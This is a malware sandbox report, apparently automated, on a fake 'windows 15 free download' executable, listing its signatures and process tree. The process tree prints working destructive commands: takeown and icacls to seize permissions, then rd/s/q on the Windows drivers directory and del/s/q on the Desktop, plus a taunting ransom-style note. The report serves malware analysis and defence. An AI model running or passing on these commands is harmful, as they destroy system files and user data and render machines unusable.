Overview

overview

8

Static

static

3

windows 15...d!.exe

windows7-x64

8

windows 15...d!.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/08/2024, 12:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    windows 15 free download!.exe
  • Size 1.2MB
  • Sample240803-pmtxsaxgle
  • SHA256 d4332117a343eae7a8ac57a42ff980afa749c4471291b2495efb1fdeb35c6ef0
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
discoveryexploit

Malware Config

Signatures

  • Drops file in Drivers directory 64 IoCs
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe
    "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit
      2⤵
      • Drops file in Drivers directory
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3060
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\drivers\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1180
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe" "%temp%\sys.exe" && exit
      2⤵
      • Suspicious behavior: RenamesItself
      PID:4052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "C:\Users\Admin\Desktop"\* && icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F) && del/s/q "C:\Users\Admin\Desktop"\* && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Users\Admin\Desktop"\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2236
      • C:\Windows\system32\icacls.exe
        icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:384
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo YOUR COMPUTER IS NOW DEAD, YOU CANNOT GET IT BACK ANYMORE > C:\Users\Admin\Desktop\CANTGETITBACKNOW.txt && exit
      2⤵
        PID:884

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/5020-0-0x00007FF786D90000-0x00007FF786F45000-memory.dmp
          Download

          memory/5020-1-0x00007FF786D90000-0x00007FF786F45000-memory.dmp
          Download

          memory/5020-2-0x00007FF786D90000-0x00007FF786F45000-memory.dmp
          Download